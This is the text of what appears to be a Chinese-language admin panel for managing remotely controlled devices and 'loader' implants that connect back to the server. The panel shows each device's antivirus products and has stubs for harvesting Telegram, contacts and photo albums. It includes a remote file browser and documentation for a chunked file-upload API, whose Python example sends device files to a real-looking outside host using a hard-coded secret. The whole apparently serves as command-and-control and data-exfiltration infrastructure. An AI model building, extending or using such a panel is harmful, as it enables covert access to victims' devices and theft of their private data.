远控端 · 总设备
{{ dashStats.total }}
已注册设备总数
远控端 · 在线
{{ dashStats.online }}
当前在线设备
远控端 · 离线
{{ dashStats.offline }}
当前离线设备
远控端 · 在线率
{{ dashStats.online_rate }}%
总在线率统计
加载器 · 总设备
{{ loaderStats.total }}
已注册加载器总数
加载器 · 在线
{{ loaderStats.online }}
当前在线加载器
加载器 · 离线
{{ loaderStats.offline }}
当前离线加载器
加载器 · 组件数
8
预装组件数量
加载中...

📊 系统统计

设备总数: {{ sysStats.total_devices || 0 }}
在线设备: {{ sysStats.online_devices || 0 }}
用户数: {{ sysStats.user_count || 0 }}
分组数: {{ sysStats.group_count || 0 }}
加载中...

🖥 远控端统计

总设备: {{ rustdeskStats.total_devices || 0 }}
在线: {{ rustdeskStats.online_devices || 0 }}
离线: {{ rustdeskStats.offline_devices || 0 }}
在线率: {{ rustdeskStats.online_rate || 0 }}%
加载中...
设备名称 远控端 ID 远控端地址 分组 状态 最近在线 操作
暂无设备
{{ d.name }} {{ d.rustdesk_id }} {{ d.ip || '-' }} {{ d.group_name }}- {{ d.status==='online'?'在线':'离线' }} {{ d.last_seen || '-' }}
{{ devicePage }} / {{ deviceTotalPages }}

📡 加载器设备

📡

暂无加载器设备

等待加载器反向连接...

{{ l.device_id }}
{{ l.name || '未知' }} · {{ l.os }}
{{ l.status==='online'?'在线':'离线' }}
⏸ {{ compName(comp.cid) }} ({{ truncateMsg(comp.msg) }}) 🚀 {{ compName(comp.cid) }} {{ truncateMsg(comp.msg) }} ⏸ 已暂停 {{ compName(comp.cid) }} ⬇ {{ compName(comp.cid) }} 📦 {{ compName(comp.cid) }} ⏸ {{ compName(comp.cid) }} ({{ truncateMsg(comp.msg) }}) 🚀 {{ compName(comp.cid) }} ✅ {{ compName(comp.cid) }} ❌ {{ compName(comp.cid) }} 🟢 杀软({{ comp.av_list.length }}) 🔴 杀软 {{ compName(comp.cid) }}:{{ comp.st }} ({{ truncateMsg(comp.msg) }})
已加载: 无
{{ l.ip }} · {{ l.last_seen || '-' }}
{{ scLoaders.filter(l=>l.status==='online').length }} 在线 {{ scLoaders.filter(l=>l.status==='offline').length }} 离线
分组名称描述设备数操作
暂无分组
{{ g.name }} {{ g.description || '-' }} {{ g.endpoint_count || 0 }}
💬

TG客户端 — 功能开发中

📋

TG管理 — 功能开发中

📇

通信录资源 — 功能开发中

🖼

相册资源 — 功能开发中

🖥 加载器设备
{{ l.device_id }}
{{ l.name || l.os }}
● 在线 ○ 离线
💻

选择左侧设备开始浏览文件

📋 显示完整路径
⬆ 上传到服务器 (uploads/设备ID/)
{{ b }}
📂

此文件夹为空

📁 {{ feIcon(item.name) }}
{{ item.name }}
{{ feFormatSize(item.size) }}
🛡

种子斗篷 — 功能开发中

签名认证机制

所有上传请求使用 HMAC-SHA256 签名认证。客户端需持有预共享密钥 UPLOAD_API_KEY,在每次请求前计算签名放入请求头。

# 签名算法
# 1. 构造签名消息(换行符 \n 分隔)
message
=
{timestamp}
+
"\n"
+
{clientId}
+
"\n"
+
{filename}
+
"\n"
+
{chunkIndex}
+
"\n"
+
{totalChunks}

# 2. 计算签名
signature
= Base64( HMAC-SHA256(secret_key, message) )
# 3. 放入请求头
X-Timestamp
: {timestamp}
X-Signature
: {signature}

POST /api/upload/chunk

分片上传文件到服务器。文件存储在 ./uploads/{clientId}/

参数类型必填说明
filenamestring文件名(自动取 basename 防路径穿越)
chunkIndexint分片索引,从 0 开始
totalChunksint总分片数
clientIdstring客户端唯一标识
Header类型必填说明
X-TimestampstringUnix 时间戳(秒),有效期 ±5 分钟
X-SignaturestringBase64 编码的 HMAC-SHA256 签名
Content-Typestring-application/octet-stream

原始二进制分片数据,单分片最大 100MB。

分片接收 (非最后一片):

{ "status": "ok", "chunkIndex": 0, "totalChunks": 5, "merged": false }

上传完成 (最后一片合并后):

{ "status": "ok", "msg": "上传完成", "filename": "test.bin", "clientId": "win-001", "size": 5242880, "path": "uploads/win-001/test.bin" }
HTTP 状态说明
401缺少 X-Timestamp / X-Signature 请求头
403签名验证失败(时间戳过期或签名不匹配)
400参数错误(文件名非法、分片缺失等)
413分片超过 100MB 或文件超过 5GB
500服务端合并超时(2分钟未收齐所有分片)

Python 示例代码

import requests
import hmac, hashlib, base64, time, os

# 配置
SECRET = "binhi_upload_secret_2026"
BASE_URL = "https://yktest.glpay.xin/api"
CLIENT_ID = "win-001"

# 文件信息
filepath = "test.bin"
filename = os.path.basename(filepath)
filesize = os.path.getsize(filepath)
CHUNK = 10 * 1024 * 1024  # 10MB
total = (filesize + CHUNK - 1) // CHUNK

# 分片上传
with open(filepath, "rb") as f:
    for i in range(total):
        chunk = f.read(CHUNK)
        ts = str(int(time.time()))
        # 构造签名消息
        msg = f"{ts}\n{CLIENT_ID}\n{filename}\n{i}\n{total}"
        sig = base64.b64encode(
            hmac.new(SECRET.encode(), msg.encode(), hashlib.sha256).digest()
        ).decode()
        headers = {"X-Timestamp": ts, "X-Signature": sig}
        params = {"filename": filename, "chunkIndex": i,
                  "totalChunks": total, "clientId": CLIENT_ID}
        r = requests.post(f"{BASE_URL}/upload/chunk",
                         params=params, headers=headers, data=chunk)
        print(f"分片 {i+1}/{total}: {r.json()}")

🔐 修改密码

修改当前登录账户的密码